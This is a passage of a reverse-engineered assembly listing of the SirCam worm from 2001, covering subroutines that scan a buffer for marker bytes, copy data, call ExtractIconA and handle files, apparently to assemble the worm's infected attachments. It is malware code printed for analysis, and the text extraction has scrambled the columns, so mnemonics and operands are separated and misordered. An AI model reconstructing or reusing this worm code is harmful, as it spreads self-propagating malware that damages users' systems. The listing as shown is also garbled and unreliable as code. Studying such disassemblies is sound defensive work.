ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4162DC proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 ; CODE XREF: sub_416478+298\031p ; sub_416478+2A8\031p ... push mov add push push push xor mov mov mov mov mov call mov call xor push push push mov mov test jle mov mov ebp ebp, esp esp, 0FFFFFFF4h ebx esi edi ebx, ebx [ebp+var_C], ebx [ebp+var_8], ecx [ebp+var_4], edx ebx, eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_41638C dword ptr fs:[eax] fs:[eax], esp edi, ebx edi, edi short loc_416371 esi, 1 ebx, offset unk_41E6D8 cmp jnz cmp jnz lea ; CODE XREF: sub_4162DC+93\031j byte ptr [ebx], 46h short loc_41636C byte ptr [ebx+1], 41h short loc_41636C eax, [ebp+var_C] loc_416320: sircam.asm Fri Aug 10 12:42:44 2001 mov call mov mov call jnz mov call mov test jle mov 603 dl, [ebx+2] sub_403670 eax, [ebp+var_C] edx, [ebp+var_8] sub_403834 short loc_41636C eax, [ebp+var_4] sub_403724 edx, eax edx, edx short loc_416371 eax, 1 loc_416356: ; CODE XREF: sub_4162DC+8C\031j mov ecx, [ebp+var_4] mov cl, [ecx+eax-1] lea ebx, [eax+esi] mov byte ptr ds:unk_41E6D9[ebx], cl inc eax dec edx jnz short loc_416356 jmp short loc_416371 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41636C: ; CODE XREF: sub_4162DC+47\030j ; sub_4162DC+4D\030j ... inc inc dec jnz esi ebx edi short loc_416320 loc_416371: ; CODE XREF: sub_4162DC+38\030j ; sub_4162DC+73\030j ... xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_416393 loc_41637E: sub_4162DC ; CODE XREF: CODE:00416391\031j lea eax, [ebp+var_C] mov edx, 3 call sub_4034EC retn endp ; sp = -20h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41638C: ; DATA XREF: sub_4162DC+29\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41637E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416393: ; DATA XREF: sub_4162DC+9D\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41639C proc near ; CODE XREF: sub_416478+253\031p sircam.asm Fri Aug 10 12:42:44 2001 604 ; sub_416478+2E5\031p var_8 var_4 arg_0 arg_4 = = = = dword dword dword dword ptr -8 ptr -4 ptr 8 ptr 0Ch push mov add push push push xor mov mov mov mov mov call xor push push push mov mov test jle mov mov ebp ebp, esp esp, 0FFFFFFF8h ebx esi edi ebx, ebx [ebp+var_8], ebx ebx, ecx [ebp+var_4], edx esi, eax eax, [ebp+arg_0] sub_4038D8 eax, eax ebp offset loc_416468 dword ptr fs:[eax] fs:[eax], esp edx, esi edx, edx short loc_41644A edi, 1 eax, offset unk_41E6D8 cmp jnz cmp jnz cmp jnz cmp jnz cmp jnz cmp jnz mov test jle mov ; CODE XREF: sub_41639C+AC\031j byte ptr [eax], 0C0h short loc_416445 byte ptr [eax+1], 0C0h short loc_416445 byte ptr [eax+2], 0C0h short loc_416445 byte ptr [eax+4], 80h short loc_416445 byte ptr [eax+5], 80h short loc_416445 byte ptr [eax+6], 80h short loc_416445 esi, ebx esi, esi short loc_41644A ebx, 1 loc_4163D7: loc_416405: ; CODE XREF: sub_41639C+A5\031j cmp [ebp+var_4], 1 jnz short loc_41641D mov eax, [ebp+arg_0] mov al, [eax+ebx-1] lea edx, [ebx+edi] mov byte ptr ds:(dword_41E6D4+3)[edx], al jmp short loc_41643F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41641D: lea lea mov call mov mov add call mov ; CODE XREF: sub_41639C+6D\030j eax, [ebp+var_8] edx, [ebx+edi] dl, byte ptr ds:(dword_41E6D4+3)[edx] sub_403670 edx, [ebp+var_8] eax, [ebp+arg_4] eax, 0FFFFFFFCh sub_40372C eax, [ebp+arg_4] sircam.asm Fri Aug 10 12:42:44 2001 605 loc_41643F: ; CODE XREF: sub_41639C+7F\030j inc ebx dec esi jnz short loc_416405 jmp short loc_41644A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416445: ; CODE XREF: sub_41639C+3E\030j ; sub_41639C+44\030j ... inc inc dec jnz edi eax edx short loc_4163D7 loc_41644A: ; CODE XREF: sub_41639C+2F\030j ; sub_41639C+62\030j ... xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_41646F loc_416457: sub_41639C ; CODE XREF: CODE:0041646D\031j lea eax, [ebp+var_8] call sub_4034C8 lea eax, [ebp+arg_0] call sub_4034C8 retn endp ; sp = -1Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416468: ; DATA XREF: sub_41639C+20\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_416457 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41646F: ; DATA XREF: sub_41639C+B6\030o pop pop pop pop pop pop retn edi esi ebx ecx ecx ebp 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_416478 proc near var_51C var_518 var_418 var_414 var_410 var_40C var_2C0 var_174 var_28 var_21 var_20 var_1C var_18 var_14 var_10 var_C = = = = = = = = = = = = = = = = dword ptr -51Ch byte ptr -518h dword ptr -418h dword ptr -414h dword ptr -410h byte ptr -40Ch byte ptr -2C0h byte ptr -174h dword ptr -28h byte ptr -21h dword ptr -20h dword ptr -1Ch dword ptr -18h dword ptr -14h dword ptr -10h dword ptr -0Ch ; CODE XREF: sub_4171C0+E5\031p start+6CD\031p sircam.asm var_8 var_4 arg_0 arg_4 arg_8 arg_C arg_10 arg_14 arg_18 Fri Aug 10 12:42:44 2001 = = = = = = = = = dword ptr -8 dword ptr -4 byte ptr 8 dword ptr 0Ch dword ptr 10h dword ptr 14h dword ptr 18h dword ptr 1Ch dword ptr 20h push mov add push push xor mov mov mov mov mov mov mov mov mov mov call mov call mov call mov call mov call mov call mov call xor push push push mov push push lea push mov mov mov call xor mov lea call lea mov call mov call mov mov lea call lea mov mov call mov ebp ebp, esp esp, 0FFFFFAE4h ebx esi ebx, ebx [ebp+var_51C], ebx [ebp+var_418], ebx [ebp+var_414], ebx [ebp+var_410], ebx [ebp+var_20], ebx [ebp+var_4], ebx [ebp+var_10], ecx [ebp+var_C], edx [ebp+var_8], eax eax, [ebp+var_8] sub_4038D8 eax, [ebp+var_C] sub_4038D8 eax, [ebp+var_10] sub_4038D8 eax, [ebp+arg_18] sub_4038D8 eax, [ebp+arg_14] sub_4038D8 eax, [ebp+arg_10] sub_4038D8 eax, [ebp+arg_C] sub_4038D8 eax, eax ebp offset loc_4168AD dword ptr fs:[eax] fs:[eax], esp 1 1 eax, [ebp+var_410] eax ecx, offset dword_4168C4 edx, offset dword_4168D0 eax, ds:dword_41EEFC sub_415EAC eax, eax [ebp+var_18], eax eax, [ebp+var_4] sub_4034C8 eax, [ebp+var_414] dl, [ebp+var_21] sub_403670 eax, [ebp+var_414] sub_403724 [ebp+var_1C], eax edx, [ebp+var_8] eax, [ebp+var_174] sub_404E16 eax, [ebp+var_418] ecx, [ebp+arg_18] edx, [ebp+var_10] sub_403770 edx, [ebp+var_418] 606 sircam.asm Fri Aug 10 12:42:44 2001 607 lea eax, [ebp+var_2C0] call sub_404E16 mov eax, ds:off_41DC30 mov byte ptr [eax], 0 cmp [ebp+arg_4], 1 jnz short loc_416596 lea edx, [ebp+var_518] mov eax, [ebp+arg_8] call sub_40296C lea edx, [ebp+var_518] lea eax, [ebp+var_20] call sub_4036EC jmp short loc_4165A3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416596: lea mov call ; CODE XREF: sub_416478+FE\030j eax, [ebp+var_20] edx, offset dword_4168DC sub_403560 mov lea call call mov lea call call cmp jz mov mov call mov xor push push push mov xor lea xor mov call mov mov mov call movzx push mov call push mov push call mov mov call mov mov mov call mov mov call xor pop pop ; CODE XREF: sub_416478+11C\030j edx, 1 eax, [ebp+var_174] sub_40510D sub_40265C edx, 1 eax, [ebp+var_2C0] sub_405124 sub_40265C [ebp+arg_0], 0 loc_4166E7 dl, 1 eax, ds:off_413638 sub_4155EC [ebp+var_28], eax eax, eax ebp offset loc_416673 dword ptr fs:[eax] fs:[eax], esp ebx, ebx ecx, [ebp+var_51C] edx, edx eax, offset dword_4168F0 sub_415FAC ecx, [ebp+var_51C] eax, offset dword_41EEF4 edx, ds:dword_41EEF0 sub_403770 eax, bx eax eax, [ebp+var_C] sub_4038E8 eax eax, ds:dword_41E4D4 eax j_ExtractIconA edx, eax eax, [ebp+var_28] sub_4159BC edx, ds:dword_41EEF4 eax, [ebp+var_28] ecx, [eax] dword ptr [ecx+4Ch] edx, 2 eax, ds:dword_41EEF4 sub_4071B8 eax, eax edx ecx loc_4165A3: sircam.asm Fri Aug 10 12:42:44 2001 pop mov push 608 ecx fs:[eax], edx offset loc_41667A loc_41666A: ; CODE XREF: sub_416478+200\031j mov eax, [ebp+var_28] call sub_402BDC retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416673: ; DATA XREF: sub_416478+171\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41666A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41667A: mov lea call mov lea call call ; DATA XREF: sub_416478+1ED\030o edx, ds:dword_41EEF4 eax, [ebp-40Ch] sub_404E16 edx, 1 eax, [ebp-40Ch] sub_40510D sub_40265C lea push mov mov lea call call push push mov xor mov call pop cmp jnz lea call call ; CODE XREF: sub_416478+25D\031j eax, [ebp-14h] eax edx, offset unk_41E6D8 ecx, 800h eax, [ebp-40Ch] sub_404EB8 sub_40265C ebp 0 ecx, 2A4h edx, edx eax, [ebp+var_14] sub_41639C ecx [ebp+var_14], 0 short loc_4166A0 eax, [ebp+var_40C] sub_404F80 sub_40265C lea push mov mov lea call call mov mov mov call mov mov mov call mov mov mov call mov mov mov ; CODE XREF: sub_416478+159\030j ; sub_416478+34B\031j eax, [ebp+var_14] eax edx, offset unk_41E6D8 ecx, 800h eax, [ebp+var_174] sub_404EB8 sub_40265C ecx, offset dword_416904 edx, [ebp+arg_14] eax, [ebp+var_14] sub_4162DC ecx, offset dword_416910 edx, [ebp+arg_C] eax, [ebp+var_14] sub_4162DC ecx, offset dword_41691C edx, [ebp+var_20] eax, [ebp+var_14] sub_4162DC ecx, offset dword_416928 edx, [ebp+arg_10] eax, [ebp+var_14] loc_4166A0: loc_4166E7: sircam.asm Fri Aug 10 12:42:44 2001 call cmp jz push mov push mov mov mov call pop 609 sub_4162DC [ebp+arg_0], 0 short loc_416763 ebp eax, [ebp+var_4] eax ecx, 2A4h edx, 1 eax, [ebp+var_14] sub_41639C ecx loc_416763: ; CODE XREF: sub_416478+2D1\030j cmp [ebp+arg_4], 1 jnz short loc_416787 lea eax, [ebp+var_14] push eax mov edx, offset unk_41E6D8 mov ecx, [ebp+var_14] lea eax, [ebp+var_2C0] call sub_404F1C call sub_40265C jmp short loc_4167BF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416787: mov mov ; CODE XREF: sub_416478+2EF\030j esi, 800h ebx, offset unk_41E6D8 mov mov inc mov cmp jg lea push lea mov lea call call ; CODE XREF: sub_416478+345\031j al, [ebx] [ebp+var_21], al [ebp+var_18] eax, [ebp+var_18] eax, [ebp+arg_8] short loc_4167BB eax, [ebp+var_1C] eax edx, [ebp+var_21] ecx, [ebp+var_1C] eax, [ebp+var_2C0] sub_404F1C sub_40265C inc dec jnz ebx esi short loc_416791 cmp jnz cmp jnz mov lea call mov lea call call ; CODE XREF: sub_416478+30D\030j [ebp+var_14], 0 loc_4166E7 [ebp+arg_4], 1 short loc_416842 edx, [ebp+var_C] eax, [ebp+var_40C] sub_404E16 edx, 1 eax, [ebp+var_40C] sub_40510D sub_40265C lea push mov mov lea call call ; CODE XREF: sub_416478+3B8\031j eax, [ebp+var_14] eax edx, offset unk_41E6D8 ecx, 800h eax, [ebp+var_40C] sub_404EB8 sub_40265C loc_416791: loc_4167BB: ; CODE XREF: sub_416478+327\030j loc_4167BF: loc_4167F2: sircam.asm Fri Aug 10 12:42:44 2001 lea push mov mov lea call call cmp jnz lea call call eax, [ebp+var_14] eax edx, offset unk_41E6D8 ecx, [ebp+var_14] eax, [ebp+var_2C0] sub_404F1C sub_40265C [ebp+var_14], 0 short loc_4167F2 eax, [ebp+var_40C] sub_404F80 sub_40265C lea call call lea call call xor pop pop pop mov push ; CODE XREF: sub_416478+355\030j eax, [ebp+var_174] sub_404F80 sub_40265C eax, [ebp+var_2C0] sub_404F80 sub_40265C eax, eax edx ecx ecx fs:[eax], edx offset loc_4168B4 loc_416842: loc_41686F: sub_416478 610 ; CODE XREF: CODE:004168B2\031j lea eax, [ebp+var_51C] call sub_4034C8 lea eax, [ebp+var_418] mov edx, 3 call sub_4034EC lea eax, [ebp+var_20] call sub_4034C8 lea eax, [ebp+var_10] mov edx, 4 call sub_4034EC lea eax, [ebp+arg_C] mov edx, 4 call sub_4034EC retn endp ; sp = -540h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4168AD: ; DATA XREF: sub_416478+6F\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41686F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4168B4: ; DATA XREF: sub_416478+3F2\030o pop esi pop ebx mov esp, ebp pop ebp retn 1Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 1 dword_4168C4 dd 33h, 0FFFFFFFFh, 3 ; DATA XREF: sub_416478+85\030o dword_4168D0 dd 334446h, 0FFFFFFFFh, 8 ; DATA XREF: sub_416478+8A\030o dword_4168DC dd 2 dup(20202020h), 0, 0FFFFFFFFh, 8 ; DATA XREF: sub_416478+121\030o dword_4168F0 dd 80765F6Bh, 7D705552h, 0, 0FFFFFFFFh, 1 ; DATA XREF: sub_416478+186\030 o dword_416904 dd 32h, 0FFFFFFFFh, 1 ; DATA XREF: sub_416478+28D\030o dword_416910 dd 35h, 0FFFFFFFFh, 1 ; DATA XREF: sub_416478+29D\030o dword_41691C dd 38h, 0FFFFFFFFh, 1 ; DATA XREF: sub_416478+2AD\030o dword_416928 dd 39h ; DATA XREF: sub_416478+2BD\030o sircam.asm Fri Aug 10 12:42:44 2001 611 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41692C proc near var_1C var_18 var_14 var_10 var_C var_8 var_4 arg_0 = = = = = = = = dword dword dword dword dword dword dword dword ptr ptr ptr ptr ptr ptr ptr ptr ; CODE XREF: sub_416A1C+95\031p -1Ch -18h -14h -10h -0Ch -8 -4 8 push mov add push push push xor mov mov mov mov mov mov mov call xor push push push mov lea call test jle mov mov mov ebp ebp, esp esp, 0FFFFFFE4h ebx esi edi ebx, ebx [ebp+var_1C], ebx [ebp+var_18], ebx [ebp+var_10], ebx [ebp+var_8], ecx [ebp+var_4], edx ebx, eax eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_416A09 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_10] sub_4034C8 ebx, ebx short loc_4169D3 [ebp+var_14], ebx [ebp+var_C], 1 ebx, offset unk_41E6D8 cmp jnz cmp jnz lea mov call mov mov call jnz mov test jle mov ; CODE XREF: sub_41692C+A5\031j byte ptr [ebx], 46h short loc_4169CA byte ptr [ebx+1], 41h short loc_4169CA eax, [ebp+var_18] dl, [ebx+2] sub_403670 eax, [ebp+var_18] edx, [ebp+var_8] sub_403834 short loc_4169CA esi, [ebp+var_4] esi, esi short loc_4169CA edi, 1 lea mov add mov call mov lea call inc ; CODE XREF: sub_41692C+9C\031j eax, [ebp+var_1C] edx, [ebp+var_C] edx, edi dl, byte ptr ds:unk_41E6D9[edx] sub_403670 edx, [ebp+var_1C] eax, [ebp+var_10] sub_40372C edi loc_416979: loc_4169A8: sircam.asm Fri Aug 10 12:42:44 2001 dec jnz esi short loc_4169A8 loc_4169CA: ; CODE XREF: sub_41692C+50\030j ; sub_41692C+56\030j ... inc inc dec jnz [ebp+var_C] ebx [ebp+var_14] short loc_416979 mov mov call xor pop pop pop mov push ; CODE XREF: sub_41692C+3C\030j eax, [ebp+arg_0] edx, [ebp+var_10] sub_40351C eax, eax edx ecx ecx fs:[eax], edx offset loc_416A10 loc_4169D3: loc_4169EB: sub_41692C 612 ; CODE XREF: CODE:00416A0E\031j lea eax, [ebp+var_1C] mov edx, 2 call sub_4034EC lea eax, [ebp+var_10] call sub_4034C8 lea eax, [ebp+var_8] call sub_4034C8 retn endp ; sp = -30h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416A09: ; DATA XREF: sub_41692C+27\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4169EB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416A10: ; DATA XREF: sub_41692C+BA\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_416A1C proc near var_160 var_14 var_10 var_C var_8 var_4 arg_0 = = = = = = = byte ptr -160h dword ptr -14h dword ptr -10h byte ptr -0Ch dword ptr -8 dword ptr -4 dword ptr 8 push mov add push push ebp ebp, esp esp, 0FFFFFEA0h ebx esi ; CODE XREF: sub_416C54+108\031p ; sub_416C54+143\031p ... sircam.asm Fri Aug 10 12:42:44 2001 613 xor mov mov mov mov mov mov call mov call lea xor push push push mov lea call mov lea call mov mov mov lea call call ebx, ebx [ebp+var_10], ebx [ebp+var_14], ebx ebx, ecx [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 esi, [ebp+var_C] eax, eax ebp offset loc_416B0F dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_14] sub_4034C8 edx, [ebp+var_4] eax, [ebp+var_160] sub_404E16 eax, ds:off_41DC30 byte ptr [eax], 0 edx, 1 eax, [ebp+var_160] sub_40510D sub_40265C push mov mov lea call call lea push mov mov mov call cmp jz lea mov call ; CODE XREF: sub_416A1C+AE\031j esi edx, offset unk_41E6D8 ecx, 800h eax, [ebp+var_160] sub_404EB8 sub_40265C eax, [ebp+var_10] eax ecx, [ebp+var_8] edx, ebx eax, [esi] sub_41692C [ebp+var_10], 0 short loc_416AC7 eax, [ebp+var_14] edx, [ebp+var_10] sub_403560 cmp jnz lea call call mov mov call xor pop pop pop mov push ; CODE XREF: sub_416A1C+9E\030j dword ptr [esi], 0 short loc_416A8B eax, [ebp+var_160] sub_404F80 sub_40265C eax, [ebp+arg_0] edx, [ebp+var_14] sub_40351C eax, eax edx ecx ecx fs:[eax], edx offset loc_416B16 lea mov call lea mov call ; CODE XREF: CODE:00416B14\031j eax, [ebp+var_14] edx, 2 sub_4034EC eax, [ebp+var_8] edx, 2 sub_4034EC loc_416A8B: loc_416AC7: loc_416AF4: sircam.asm sub_416A1C Fri Aug 10 12:42:44 2001 614 retn endp ; sp = -174h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416B0F: ; DATA XREF: sub_416A1C+31\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_416AF4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_416B16: ; DATA XREF: sub_416A1C+D3\030o pop esi pop ebx mov esp, ebp pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_416B20 proc near var_2AC var_160 var_11 var_10 var_C var_8 var_4 = = = = = = = ; CODE XREF: sub_416C54+BD\031p byte ptr -2ACh byte ptr -160h byte ptr -11h dword ptr -10h dword ptr -0Ch dword ptr -8 dword ptr -4 push mov add push push xor mov mov mov mov mov call mov call xor push push push mov mov call test jnz xor lea mov call mov lea call mov lea call mov mov mov ebp ebp, esp esp, 0FFFFFD54h ebx esi ebx, ebx [ebp+var_10], ebx esi, ecx [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_416C45 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_8] sub_4071A8 al, al loc_416C22 ebx, ebx edx, [ebp+var_10] eax, [ebp+var_4] sub_4073EC edx, [ebp+var_4] eax, [ebp+var_160] sub_404E16 edx, [ebp+var_8] eax, [ebp+var_2AC] sub_404E16 eax, ds:off_41DC30 byte ptr [eax], 0 edx, 1 sircam.asm Fri Aug 10 12:42:44 2001 lea call call mov lea call call eax, [ebp+var_160] sub_40510D sub_40265C edx, 1 eax, [ebp+var_2AC] sub_405124 sub_40265C lea push lea mov lea call call inc cmp jg lea push lea mov lea call call ; CODE XREF: sub_416B20+E0\031j eax, [ebp+var_C] eax edx, [ebp+var_11] ecx, 1 eax, [ebp+var_160] sub_404EB8 sub_40265C ebx esi, ebx short loc_416BFC eax, [ebp+var_C] eax edx, [ebp+var_11] ecx, [ebp+var_C] eax, [ebp+var_2AC] sub_404F1C sub_40265C cmp jnz lea call call lea call call ; CODE XREF: sub_416B20+C0\030j [ebp+var_C], 0 short loc_416BC1 eax, [ebp+var_160] sub_404F80 sub_40265C eax, [ebp+var_2AC] sub_404F80 sub_40265C xor pop pop pop mov push ; CODE XREF: sub_416B20+40\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_416C4C loc_416BC1: 